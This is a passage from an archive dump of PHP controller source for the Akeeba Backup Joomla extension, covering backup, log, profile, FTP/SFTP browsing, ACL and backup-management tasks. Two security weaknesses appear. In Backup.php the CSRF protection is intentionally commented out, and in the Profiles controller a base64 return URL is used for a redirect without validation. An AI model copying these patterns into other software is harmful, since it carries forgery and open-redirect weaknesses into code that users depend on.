		// Reset the flag so the updates could take place
		$this->container->params->set('updatedb', null);
		$this->container->params->save();

		/** @var \Akeeba\Backup\Admin\Model\ControlPanel $model */
		$model = $this->getModel();

		try
		{
			$model->checkAndFixDatabase();
		}
		catch (\RuntimeException $e)
		{
			// This should never happen, since we reset the flag before execute the update, but you never know
		}

		$this->setRedirect('index.php?option=com_akeeba');
	}

	/**
	 * Dismisses the Core to Pro upsell for 15 days
	 *
	 * @return  void
	 */
	public function dismissUpsell()
	{
		// Reset the flag so the updates could take place
		$this->container->params->set('lastUpsellDismiss', time());
		$this->container->params->save();

		$this->setRedirect('index.php?option=com_akeeba');
	}

	/**
	 * Check the security of the backup output directory and return the results for consumption through AJAX
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 *
	 * @since   7.0.3
	 */
	public function checkOutputDirectory()
	{
		/** @var \Akeeba\Backup\Admin\Model\ControlPanel $model */
		$model  = $this->getModel();
		$outDir = $model->getOutputDirectory();

		try
		{
			$result = $model->getOutputDirectoryWebAccessibleState($outDir);
		}
		catch (RuntimeException $e)
		{
			$result = [
				'readFile'   => false,
				'listFolder' => false,
				'isSystem'   => $model->isOutputDirectoryInSystemFolder(),
				'hasRandom'  => $model->backupFilenameHasRandom(),
			];
		}

		@ob_end_clean();

		echo '###' . json_encode($result) . '###';

		$this->container->platform->closeApplication();
	}

	/**
	 * Add security files to the output directory of the currently configured backup profile
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 *
	 * @since   7.0.3
	 */
	public function fixOutputDirectory()
	{
		// CSRF prevention
		$this->csrfProtection();

		/** @var \Akeeba\Backup\Admin\Model\ControlPanel $model */
		$model  = $this->getModel();
		$outDir = $model->getOutputDirectory();

		$fsUtils = Factory::getFilesystemTools();
		$fsUtils->ensureNoAccess($outDir, true);

		$this->setRedirect('index.php?option=com_akeeba');
	}

	/**
	 * Adds the [RANDOM] variable to the backup output filename, save the configuration and reload the Control Panel.
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 *
	 * @since   7.0.3
	 */
	public function addRandomToFilename()
	{
		// CSRF prevention
		$this->csrfProtection();
		$registry     = Factory::getConfiguration();
		$templateName = $registry->get('akeeba.basic.archive_name');

		if (strpos($templateName, '[RANDOM]') === false)
		{
			$templateName .= '-[RANDOM]';
			$registry->set('akeeba.basic.archive_name', $templateName);
			Platform::getInstance()->save_configuration();
		}

		$this->setRedirect('index.php?option=com_akeeba');
	}

	/**
	 * Run everything necessary to display the Control Panel page
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 *
	 * @since   5.0.0
	 */
	protected function onBeforeMain()
	{
		/** @var \Akeeba\Backup\Admin\Model\ControlPanel $model */
		$model = $this->getModel();

		$engineConfig = Factory::getConfiguration();

		// Invalidate stale backups
		$params = $this->container->params;

		try
		{
			Factory::resetState([
				'global' => true,
				'log'    => false,
				'maxrun' => $params->get('failure_timeout', 180),
			]);
		}
		catch (Exception $e)
		{
			// This will die if the output directory is invalid. Let it die, then.
		}

		// Just in case the reset() loaded a stale configuration...
		Platform::getInstance()->load_configuration();
		Platform::getInstance()->apply_quirk_definitions();

		// Let's make sure the temporary and output directories are set correctly and writable...
		/** @var ConfigurationWizard $wizmodel */
		$wizmodel = $this->container->factory->model('ConfigurationWizard')->tmpInstance();
		$wizmodel->autofixDirectories();

		// Rebase Off-site Folder Inclusion filters to use site path variables
		/** @var \Akeeba\Backup\Admin\Model\IncludeFolders $incFoldersModel */
		try
		{
			$incFoldersModel = $this->container->factory->model('IncludeFolders')->tmpInstance();
			$incFoldersModel->rebaseFiltersToSiteDirs();
		}
		catch (ModelNotFound $e)
		{
			// Not a problem. This is expected to happen in the Core version.
		}

		// Check if we need to toggle the settings encryption feature
		$model->checkSettingsEncryption();

		// Convert existing log files to the new .log.php format
		/** @var BackupModel $backupModel */
		$backupModel = $this->container->factory->model('Backup')->tmpInstance();
		$backupModel->convertLogFiles();

		// Run the automatic update site refresh
		/** @var Updates $updateModel */
		$updateModel = $this->container->factory->model('Updates')->tmpInstance();
		$updateModel->refreshUpdateSite();

		ViewManifestMigration::migrateJoomla4MenuXMLFiles($this->container);
		ViewManifestMigration::removeJoomla3LegacyViews($this->container);
	}

}
com_akeeba/Controller/Profiles.php000060400000006223152455305260013237 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Controller;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\Controller\Mixin\CustomACL;
use FOF40\Controller\DataController;
use Joomla\CMS\Language\Text;
use RuntimeException;

class Profiles extends DataController
{
	use CustomACL;

	/**
	 * Imports an exported profile .json file
	 */
	public function import()
	{
		$this->csrfProtection();

		if (!$this->container->platform->authorise('akeeba.configure', 'com_akeeba'))
		{
			throw new RuntimeException(\Joomla\CMS\Language\Text::_('JERROR_ALERTNOAUTHOR'), 403);
		}

		/** @var \Akeeba\Backup\Admin\Model\Profiles $model */
		$model       = $this->getModel();

		// Get some data from the request
		$file = $this->input->files->get('importfile', array(), 'array');

		if (!isset($file['name']))
		{
			$this->setRedirect('index.php?option=com_akeeba&view=Profiles', \Joomla\CMS\Language\Text::_('MSG_UPLOAD_INVALID_REQUEST'), 'error');

			return;
		}

		// Load the file data
		$data = @file_get_contents($file['tmp_name']);
		@unlink($file['tmp_name']);

		// JSON decode
		$data = json_decode($data, true);

		// Import
		$message     = \Joomla\CMS\Language\Text::_('COM_AKEEBA_PROFILES_MSG_IMPORT_COMPLETE');
		$messageType = null;

		try
		{
			$model->reset()->import($data);
		}
		catch (RuntimeException $e)
		{
			$message     = $e->getMessage();
			$messageType = 'error';
		}

		// Redirect back to the main page
		$this->setRedirect('index.php?option=com_akeeba&view=Profiles', $message, $messageType);
	}

	/**
	 * Enable the Quick Icon for a record
	 *
	 * @since   6.1.2
	 * @throws  \Exception
	 */
	public function quickicon_publish()
	{
		$this->setQuickIcon(1);
	}

	/**
	 * Disable the Quick Icon for a record
	 *
	 * @since   6.1.2
	 * @throws  \Exception
	 */
	public function quickicon_unpublish()
	{
		$this->setQuickIcon(0);
	}

	/**
	 * Sets the Quick Icon status for the record.
	 *
	 * @param   int|bool  $published  Should this profile have a Quick Icon?
	 *
	 * @return  void
	 * @throws  \Exception
	 *
	 * @since   6.1.2
	 */
	private function setQuickIcon($published)
	{
		// CSRF prevention
		$this->csrfProtection();

		/** @var \Akeeba\Backup\Admin\Model\Profiles $model */
		$model = $this->getModel()->savestate(false);
		$ids   = $this->getIDsFromRequest($model, false);
		$error = false;

		try
		{
			$status = true;

			foreach ($ids as $id)
			{
				$model->find($id);
				$model->save([
					'quickicon' => $published ? 1 : 0
				]);
			}
		}
		catch (\Exception $e)
		{
			$status = false;
			$error  = $e->getMessage();
		}

		// Redirect
		if ($customURL = $this->input->getBase64('returnurl', ''))
		{
			$customURL = base64_decode($customURL);
		}

		$url = !empty($customURL) ? $customURL : 'index.php?option=' . $this->container->componentName . '&view=' . $this->container->inflector->pluralize($this->view) . $this->getItemidURLSuffix();

		if (!$status)
		{
			$this->setRedirect($url, $error, 'error');
		}
		else
		{
			$this->setRedirect($url);
		}
	}
}
com_akeeba/Controller/Log.php000060400000006414152455305260012177 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Controller;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\Controller\Mixin\CustomACL;
use Akeeba\Backup\Admin\Controller\Mixin\PredefinedTaskList;
use Akeeba\Backup\Admin\Model\Log as LogModel;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use FOF40\Controller\Controller;

class Log extends Controller
{
	use CustomACL {
		CustomACL::onBeforeExecute as onCustomACLBeforeExecute;
	}

	/** @var bool  */
	private $noFlush = false;

	protected function onBeforeExecute(&$task)
	{
		$this->onCustomACLBeforeExecute($task);

		$profile_id = $this->input->getInt('profileid', null);

		if (!empty($profile_id) && is_numeric($profile_id) && ($profile_id > 0))
		{
			$this->container->platform->setSessionVar('profile', $profile_id, 'akeeba');
		}
	}

	/**
	 * Display the log page
	 *
	 * @return  void
	 */
	public function onBeforeDefault()
	{
		$tag = $this->input->get('tag', null, 'cmd');
		$latest = $this->input->get('latest', false, 'int');

		if (empty($tag))
		{
			$tag = null;
		}

		/** @var LogModel $model */
		$model = $this->getModel();

		if ($latest)
		{
			$logFiles = $model->getLogFiles();
			$tag = array_shift($logFiles);
		}

		$model->setState('tag', $tag);

		Platform::getInstance()->load_configuration(Platform::getInstance()->get_active_profile());
	}

	/**
	 * Renders the contents of the log, used inside the IFRAME of the log page
	 *
	 * @return  void
	 */
	public function iframe()
	{
		$tag = $this->input->get('tag', null, 'cmd');

		if (empty($tag))
		{
			$tag = null;
		}

		/** @var LogModel $model */
		$model = $this->getModel();
		$model->setState('tag', $tag);

		Platform::getInstance()->load_configuration(Platform::getInstance()->get_active_profile());

		$this->display();
	}

	/**
	 * Download the log file as a text file
	 *
	 * @return  void
	 */
	public function download()
	{
		Platform::getInstance()->load_configuration(Platform::getInstance()->get_active_profile());

		$tag = $this->input->get('tag', null, 'cmd');

		if (empty($tag))
		{
			$tag = null;
		}

		$asAttachment = $this->input->getBool('attachment', true);

		@ob_end_clean(); // In case some braindead plugin spits its own HTML
		header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
		header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); // Date in the past
		header("Content-Description: File Transfer");
		header('Content-Type: text/plain');

		if ($asAttachment)
		{
			header('Content-Disposition: attachment; filename="Akeeba Backup Debug Log.txt"');
		}

		/** @var LogModel $model */
		$model = $this->getModel();
		$model->setState('tag', $tag);
		$model->echoRawLog();

		if (!$this->noFlush)
		{
			flush();
		}

		$this->container->platform->closeApplication();
	}

	public function inlineRaw()
	{
		Platform::getInstance()->load_configuration(Platform::getInstance()->get_active_profile());

		$tag = $this->input->get('tag', null, 'cmd');

		if (empty($tag))
		{
			$tag = null;
		}

		/** @var LogModel $model */
		$model = $this->getModel();
		$model->setState('tag', $tag);
		echo "<pre>";
		$model->echoRawLog();
		echo "</pre>";
	}
}
com_akeeba/Controller/FTPBrowser.php000060400000002610152455305260013445 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Controller;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\Controller\Mixin\CustomACL;
use FOF40\Controller\Controller;

/**
 * Controller for the FTP folder browser
 */
class FTPBrowser extends Controller
{
	use CustomACL;

	/** @var bool  */
	private $noFlush = false;

	protected function onBeforeMain()
	{
		/** @var \Akeeba\Backup\Admin\Model\FTPBrowser $model */
		$model = $this->getModel();

		// Grab the data and push them to the model
		$model->host      = $this->input->get('host', '', 'string');
		$model->port      = $this->input->get('port', 21, 'int');
		$model->passive   = $this->input->get('passive', 1, 'int');
		$model->ssl       = $this->input->get('ssl', 0, 'int');
		$model->username  = $this->input->get('username', '', 'none', 2);
		$model->password  = $this->input->get('password', '', 'none', 2);
		$model->directory = $this->input->get('directory', '', 'none', 2);

		if (empty($model->port))
		{
			$model->port = $model->ssl ? 990 : 21;
		}

		$ret = $model->doBrowse();

		@ob_end_clean();
		echo '###' . json_encode($ret) . '###';

		if (!$this->noFlush)
		{
			flush();
		}

		$this->container->platform->closeApplication();
	}
}
com_akeeba/Controller/Mixin/CustomACL.php000060400000003760152455305260014335 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Controller\Mixin;

// Protect from unauthorized access
defined('_JEXEC') || die();

use RuntimeException;
use Joomla\CMS\Language\Text;

trait CustomACL
{
	protected function onBeforeExecute(&$task)
	{
		$this->akeebaBackupACLCheck($this->view, $this->task);
	}

	/**
	 * Checks if the currently logged in user has the required ACL privileges to access the current view. If not, a
	 * RuntimeException is thrown.
	 *
	 * @return  void
	 */
	protected function akeebaBackupACLCheck($view, $task)
	{
		// Akeeba Backup-specific ACL checks. All views not listed here are limited by the akeeba.configure privilege.
		$viewACLMap = [
			'ControlPanel'       => 'core.manage',
			'Backup'             => 'akeeba.backup',
			'Manage'             => 'core.manage',
			'Manage.download'    => 'akeeba.download',
			'Manage.remove'      => 'akeeba.download',
			'Manage.deletefiles' => 'akeeba.download',
			'Manage.showcomment' => 'akeeba.backup',
			'Manage.save'        => 'akeeba.download',
			'Manage.restore'     => 'akeeba.configure',
			'Manage.cancel'      => 'akeeba.backup',
			'Upload'             => 'akeeba.backup',
			'RemoteFiles'        => 'akeeba.download',
			'Transfer'           => 'akeeba.download',
		];

		// Default
		$privilege = 'akeeba.configure';

		// Just the view was found
		if (array_key_exists($view, $viewACLMap))
		{
			$privilege = $viewACLMap[$view];
		}

		// The view AND task was found
		if (array_key_exists($view . '.' . $task, $viewACLMap))
		{
			$privilege = $viewACLMap[$view . '.' . $task];
		}

		// If an empty privilege is defined do not perform any ACL checks
		if (empty($privilege))
		{
			return;
		}

		if (!$this->container->platform->authorise($privilege, 'com_akeeba'))
		{
			throw new RuntimeException(\Joomla\CMS\Language\Text::_('JERROR_ALERTNOAUTHOR'), 403);
		}
	}
}
com_akeeba/Controller/Mixin/PredefinedTaskList.php000060400000003215152455305260016262 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Controller\Mixin;

// Protect from unauthorized access
defined('_JEXEC') || die();

/**
 * Force a Controller to allow access to specific tasks only, no matter which tasks are already defined in this
 * Controller.
 */
trait PredefinedTaskList
{
	/**
	 * A list of predefined tasks. Trying to access any other task will result in the first task of this list being
	 * executed instead.
	 *
	 * @var array
	 */
	protected $predefinedTaskList = array();

	/**
	 * Overrides the execute method to implement the predefined task list feature
	 *
	 * @param   string  $task  The task to execute
	 *
	 * @return  mixed  The controller task result
	 */
	public function execute($task)
	{
		if (!in_array($task, $this->predefinedTaskList))
		{
			$task = reset($this->predefinedTaskList);
		}

		return parent::execute($task);
	}

	/**
	 * Sets the predefined task list and registers the first task in the list as the Controller's default task
	 *
	 * @param   array  $taskList  The task list to register
	 */
	public function setPredefinedTaskList(array $taskList)
	{
		// First, unregister all known tasks which are not in the taskList
		$allTasks = $this->getTasks();

		foreach ($allTasks as $task)
		{
			if (in_array($task, $taskList))
			{
				continue;
			}

			$this->unregisterTask($task);
		}

		// Set the predefined task list
		$this->predefinedTaskList = $taskList;

		// Set the default task
		$this->registerDefaultTask(reset($this->predefinedTaskList));

	}
}
com_akeeba/Controller/Backup.php000060400000014066152455305260012665 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Controller;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\Controller\Mixin\CustomACL;
use Akeeba\Backup\Admin\Controller\Mixin\PredefinedTaskList;
use Akeeba\Backup\Admin\Helper\Utils;
use Akeeba\Engine\Platform;
use FOF40\Container\Container;
use FOF40\Controller\Controller;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;

/**
 * Backup page controller
 */
class Backup extends Controller
{
	use CustomACL;
	use PredefinedTaskList;

	/** @var bool  */
	private $noFlush = false;

	public function __construct(Container $container, array $config)
	{
		parent::__construct($container, $config);

		$this->setPredefinedTaskList([
			'main',
			'ajax',
		]);

		$this->noFlush = ComponentHelper::getParams('com_akeeba')->get('no_flush', 0) == 1;
	}

	/**
	 * This task handles the AJAX requests
	 */
	public function ajax()
	{
		/** @var \Akeeba\Backup\Admin\Model\Backup $model */
		$model = $this->getModel();

		// Push all necessary information to the model's state
		$model->setState('profile', $this->input->get('profileid', Platform::getInstance()->get_active_profile(), 'int'));
		$model->setState('ajax', $this->input->get('ajax', '', 'cmd'));
		$model->setState('description', $this->input->get('description', '', 'string'));
		$model->setState('comment', $this->input->get('comment', '', 'html', 2));
		$model->setState('jpskey', $this->input->get('jpskey', '', 'raw', 2));
		$model->setState('angiekey', $this->input->get('angiekey', '', 'raw', 2));
		$model->setState('backupid', $this->input->get('backupid', null, 'cmd'));
		$model->setState('tag', $this->input->get('tag', 'backend', 'cmd'));
		$model->setState('errorMessage', $this->input->getString('errorMessage', ''));

		// System Restore Point backup state variables (obsolete)
		$model->setState('type', strtolower($this->input->get('type', '', 'cmd')));
		$model->setState('name', strtolower($this->input->get('name', '', 'cmd')));
		$model->setState('group', strtolower($this->input->get('group', '', 'cmd')));
		$model->setState('customdirs', $this->input->get('customdirs', [], 'array', 2));
		$model->setState('customfiles', $this->input->get('customfiles', [], 'array', 2));
		$model->setState('extraprefixes', $this->input->get('extraprefixes', [], 'array', 2));
		$model->setState('customtables', $this->input->get('customtables', [], 'array', 2));
		$model->setState('skiptables', $this->input->get('skiptables', [], 'array', 2));
		$model->setState('langfiles', $this->input->get('langfiles', [], 'array', 2));
		$model->setState('xmlname', $this->input->getString('xmlname', ''));

		// Set up the tag
		define('AKEEBA_BACKUP_ORIGIN', $this->input->get('tag', 'backend', 'cmd'));

		// Run the backup step
		$ret_array = $model->runBackup();

		// We use this nasty trick to avoid broken 3PD plugins from barfing all over our output
		@ob_end_clean();
		header('Content-type: text/plain');
		header('Connection: close');
		echo '###' . json_encode($ret_array) . '###';

		if (!$this->noFlush)
		{
			flush();
		}

		$this->container->platform->closeApplication();
	}

	/**
	 * Default task; shows the initial page where the user selects a profile and enters description and comment
	 */
	protected function onBeforeMain()
	{
		// Did the user ask to switch the active profile?
		$newProfile = $this->input->get('profileid', -10, 'int');
		$autostart  = $this->input->get('autostart', 0, 'int');

		if (is_numeric($newProfile) && ($newProfile > 0))
		{
			/**
			 * We have to remove CSRF protection due to the way the Joomla administrator menu manager works. Menu item
			 * options are passed as URL parameters. However, we cannot pass dynamic parameters (like the token). This
			 * means that a user can create a menu item with a specific backup profile ID. Normally this would cause a
			 * 403 which is frustrating to the user because they might want to give their client the option to run a
			 * backup with a specific profile AND let them enter a description and comment. Therefore we have to remove
			 * the CSRF protection.
			 *
			 * NB! We do understand the potential risk involved. Between Joomla's AMATEURISH implementation of custom
			 * administrator menus and user demands for features we have to (have these very vocal users and everyone
			 * else) assume that (actually really small) risk.
			 */
			// $this->csrfProtection();
			$this->container->platform->setSessionVar('profile', $newProfile, 'akeeba');

			/**
			 * DO NOT REMOVE!
			 *
			 * The Model will only try to load the configuration after nuking the factory. This causes Profile 1 to be
			 * loaded first. Then it figures out it needs to load a different profile and it does – but the protected keys
			 * are NOT replaced, meaning that certain configuration parameters are not replaced. Most notably, the chain.
			 * This causes backups to behave weirdly. So, DON'T REMOVE THIS UNLESS WE REFACTOR THE MODEL.
			 */
			Platform::getInstance()->load_configuration($newProfile);
		}

		// Deactivate the menus
		Factory::getApplication()->input->set('hidemainmenu', 1);

		/** @var \Akeeba\Backup\Admin\Model\Backup $model */
		$model = $this->getModel();

		// Sanitize the return URL
		$returnUrl = $this->input->get('returnurl', '', 'raw');
		$returnUrl = Utils::safeDecodeReturnUrl($returnUrl);

		// Push data to the model
		$model->setState('profile', $this->input->get('profileid', -10, 'int'));
		$model->setState('description', $this->input->get('description', '', 'string', 2));
		$model->setState('comment', $this->input->get('comment', '', 'html', 2));
		$model->setState('ajax', $this->input->get('ajax', '', 'cmd'));
		$model->setState('autostart', $autostart);
		$model->setState('jpskey', $this->input->get('jpskey', '', 'raw', 2));
		$model->setState('angiekey', $this->input->get('angiekey', '', 'raw', 2));
		$model->setState('returnurl', $returnUrl);
		$model->setState('backupid', $this->input->get('backupid', null, 'cmd'));
	}
}
com_akeeba/Controller/Profile.php000060400000000503152455305260013047 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Controller;

// Protect from unauthorized access
defined('_JEXEC') || die();

class Profile extends Profiles
{

}
com_akeeba/Controller/SFTPBrowser.php000060400000002604152455305260013573 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Controller;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\Controller\Mixin\CustomACL;
use FOF40\Controller\Controller;

/**
 * Controller for the SFTP folder browser
 */
class SFTPBrowser extends Controller
{
	use CustomACL;

	/** @var bool  */
	private $noFlush = false;

	protected function onBeforeMain()
	{
		/** @var \Akeeba\Backup\Admin\Model\SFTPBrowser $model */
		$model = $this->getModel();

		// Grab the data and push them to the model
		$model->host      = $this->input->get('host', '', 'string');
		$model->port      = $this->input->get('port', 21, 'int');
		$model->username  = $this->input->get('username', '', 'none', 2);
		$model->password  = $this->input->get('password', '', 'none', 2);
		$model->privkey   = $this->input->get('privkey', '', 'none', 2);
		$model->pubkey    = $this->input->get('pubkey', '', 'none', 2);
		$model->directory = $this->input->get('directory', '', 'none', 2);

		if (empty($model->port))
		{
			$model->port = 22;
		}

		$ret = $model->doBrowse();

		@ob_end_clean();
		echo '###' . json_encode($ret) . '###';

		if (!$this->noFlush)
		{
			flush();
		}

		$this->container->platform->closeApplication();
	}
}
com_akeeba/Controller/Manage.php000060400000022651152455305260012647 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Controller;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\Controller\Mixin\CustomACL;
use Akeeba\Backup\Admin\Model\Statistics;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Exception;
use FOF40\Container\Container;
use FOF40\Controller\Controller;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;


/**
 * Backup page controller
 */
class Manage extends Controller
{
	use CustomACL;

	/** @var bool  */
	private $noFlush = false;

	public function __construct(Container $container, array $config)
	{
		if (!is_array($config))
		{
			$config = [];
		}

		$config['modelName'] = 'Statistics';

		parent::__construct($container, $config);
	}

	/**
	 * Downloads the backup archive of the specified backup record
	 *
	 * @return  void
	 */
	public function download()
	{
		$ids = $this->getIDsFromRequest();
		$id  = count($ids) ? array_pop($ids) : -1;

		$part = $this->input->get('part', -1, 'int');

		if ($id <= 0)
		{
			$this->setRedirect(Uri::base() . 'index.php?option=com_akeeba&view=Manage', Text::_('COM_AKEEBA_BUADMIN_ERROR_INVALIDID'), 'error');

			return;
		}

		$stat         = Platform::getInstance()->get_statistics($id);
		$allFilenames = Factory::getStatistics()->get_all_filenames($stat);

		$filename = null;

		// Check single part files
		$countAllFilenames = $allFilenames === null ? 0 : count($allFilenames);
		if (($countAllFilenames == 1) && ($part == -1))
		{
			$filename = array_shift($allFilenames);
		}
		elseif (($countAllFilenames > 0) && ($countAllFilenames > $part) && ($part >= 0))
		{
			$filename = $allFilenames[ $part ];
		}

		if (is_null($filename) || empty($filename) || !@file_exists($filename))
		{
			$this->setRedirect(Uri::base() . 'index.php?option=com_akeeba&view=Manage', Text::_('COM_AKEEBA_BUADMIN_ERROR_INVALIDDOWNLOAD'), 'error');

			return;
		}

		// Remove php's time limit
		if (function_exists('ini_get') && function_exists('set_time_limit'))
		{
			if (!ini_get('safe_mode'))
			{
				@set_time_limit(0);
			}
		}

		$basename  = @basename($filename);
		$filesize  = @filesize($filename);
		$extension = strtolower(str_replace(".", "", strrchr($filename, ".")));

		while (@ob_end_clean())
		{
			;
		}
		@clearstatcache();
		// Send MIME headers
		header('MIME-Version: 1.0');
		header('Content-Disposition: attachment; filename="' . $basename . '"');
		header('Content-Transfer-Encoding: binary');
		header('Accept-Ranges: bytes');

		switch ($extension)
		{
			case 'zip':
				// ZIP MIME type
				header('Content-Type: application/zip');
				break;

			default:
				// Generic binary data MIME type
				header('Content-Type: application/octet-stream');
				break;
		}

		// Notify of filesize, if this info is available
		if ($filesize > 0)
		{
			header('Content-Length: ' . @filesize($filename));
		}

		// Disable caching
		header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
		header("Expires: 0");
		header('Pragma: no-cache');

		if (!$this->noFlush)
		{
			flush();
		}

		if (!$filesize)
		{
			// If the filesize is not reported, hope that readfile works
			@readfile($filename);

			$this->container->platform->closeApplication(0);
		}

		// If the filesize is reported, use 1M chunks for echoing the data to the browser
		$blocksize = 1048576; //1M chunks
		$handle    = @fopen($filename, "r");

		// Now we need to loop through the file and echo out chunks of file data
		if ($handle !== false)
		{
			while (!@feof($handle))
			{
				echo @fread($handle, $blocksize);
				@ob_flush();

				if (!$this->noFlush)
				{
					flush();
				}
			}
		}

		if ($handle !== false)
		{
			@fclose($handle);
		}

		$this->container->platform->closeApplication(0);
	}

	/**
	 * Deletes one or more backup statistics records and their associated backup files
	 */
	public function remove()
	{
		// CSRF prevention
		$this->csrfProtection();

		$ids = $this->getIDsFromRequest();

		if (empty($ids))
		{
			$this->setRedirect(Uri::base() . 'index.php?option=com_akeeba&view=Manage', Text::_('COM_AKEEBA_BUADMIN_ERROR_INVALIDID'), 'error');

			return;
		}

		foreach ($ids as $id)
		{
			try
			{
				$msg    = Text::_('COM_AKEEBA_BUADMIN_ERROR_INVALIDID');
				$result = false;

				if ($id > 0)
				{
					/** @var Statistics $model */
					$model = $this->getModel();
					$model->setState('id', $id);
					$result = $model->delete();
				}

			}
			catch (\RuntimeException $e)
			{
				$result = false;
				$msg    = $e->getMessage();
			}

			if (!$result)
			{
				$this->setRedirect(Uri::base() . 'index.php?option=com_akeeba&view=Manage', $msg, 'error');

				return;
			}
		}

		$this->setRedirect(Uri::base() . 'index.php?option=com_akeeba&view=Manage', Text::_('COM_AKEEBA_BUADMIN_MSG_DELETED'));
	}

	/**
	 * Deletes backup files associated to one or several backup statistics records
	 */
	public function deletefiles()
	{
		// CSRF prevention
		$this->csrfProtection();

		$ids = $this->getIDsFromRequest();

		if (empty($ids))
		{
			$this->setRedirect(Uri::base() . 'index.php?option=com_akeeba&view=Manage', Text::_('COM_AKEEBA_BUADMIN_ERROR_INVALIDID'), 'error');

			return;
		}

		foreach ($ids as $id)
		{
			try
			{
				$msg    = Text::_('COM_AKEEBA_BUADMIN_ERROR_INVALIDID');
				$result = false;

				if ($id > 0)
				{
					/** @var Statistics $model */
					$model = $this->getModel();
					$model->setState('id', $id);
					$result = $model->deleteFile();
				}
			}
			catch (\RuntimeException $e)
			{
				$result = false;
				$msg    = $e->getMessage();
			}

			if (!$result)
			{
				$this->setRedirect(Uri::base() . 'index.php?option=com_akeeba&view=Manage', $msg, 'error');

				return;
			}
		}

		$this->setRedirect(Uri::base() . 'index.php?option=com_akeeba&view=Manage', Text::_('COM_AKEEBA_BUADMIN_MSG_DELETEDFILE'));
	}

	public function showcomment()
	{
		$ids = $this->getIDsFromRequest();

		if (empty($ids))
		{
			$ids = [0];
		}

		$id = array_pop($ids);

		if ($id <= 0)
		{
			$this->setRedirect(Uri::base() . 'index.php?option=com_akeeba&view=Manage', Text::_('COM_AKEEBA_BUADMIN_ERROR_INVALIDID'), 'error');
		}

		/** @var Statistics $model */
		$model = $this->getModel();
		$model->setState('id', $id);

		$this->layout = 'comment';
		$this->display(false);
	}

	/**
	 * Save the comments back to a backup record
	 */
	public function save()
	{
		// CSRF prevention
		$this->csrfProtection();

		$id          = $this->input->get('id', 0, 'int');
		$description = $this->input->get('description', '', 'string');
		$comment     = $this->input->get('comment', null, 'string', 4);

		$statistic                = Platform::getInstance()->get_statistics($id);
		$statistic['description'] = $description;
		$statistic['comment']     = $comment;

		$result = Platform::getInstance()->set_or_update_statistics($id, $statistic);

		$message = Text::_('COM_AKEEBA_BUADMIN_LOG_SAVEDOK');
		$type    = 'message';

		if ($result === false)
		{
			$message = Text::_('COM_AKEEBA_BUADMIN_LOG_SAVEERROR');
			$type    = 'error';
		}

		$this->setRedirect(Uri::base() . 'index.php?option=com_akeeba&view=Manage', $message, $type);
	}

	public function restore()
	{
		// CSRF prevention
		$this->csrfProtection();

		$ids = $this->getIDsFromRequest();

		if (empty($ids))
		{
			$ids = [0];
		}

		$id = array_pop($ids);

		$url = Uri::base() . 'index.php?option=com_akeeba&view=Restore&id=' . $id;
		$this->setRedirect($url);
	}

	public function cancel()
	{
		// CSRF prevention
		$this->csrfProtection();

		$this->setRedirect(Uri::base() . 'index.php?option=com_akeeba&view=Manage');
	}

	public function hidemodal()
	{
		/** @var Statistics $model */
		$model = $this->getModel();
		$model->hideRestorationInstructionsModal();

		$this->setRedirect(Uri::base() . 'index.php?option=com_akeeba&view=Manage');
	}

	/**
	 * Freeze select records
	 *
	 * @throws Exception
	 */
	public function freeze()
	{
		$this->csrfProtection();

		$ids   = $this->getIDsFromRequest();

		/** @var Statistics $model */
		$model = $this->getModel();

		$message = Text::_('COM_AKEEBA_BUADMIN_FREEZE_OK');
		$type    = 'message';

		try
		{
			$model->freezeUnfreezeRecords($ids, 1);
		}
		catch (Exception $e)
		{
			$message = Text::sprintf('COM_AKEEBA_BUADMIN_FREEZE_ERROR', $e->getMessage());
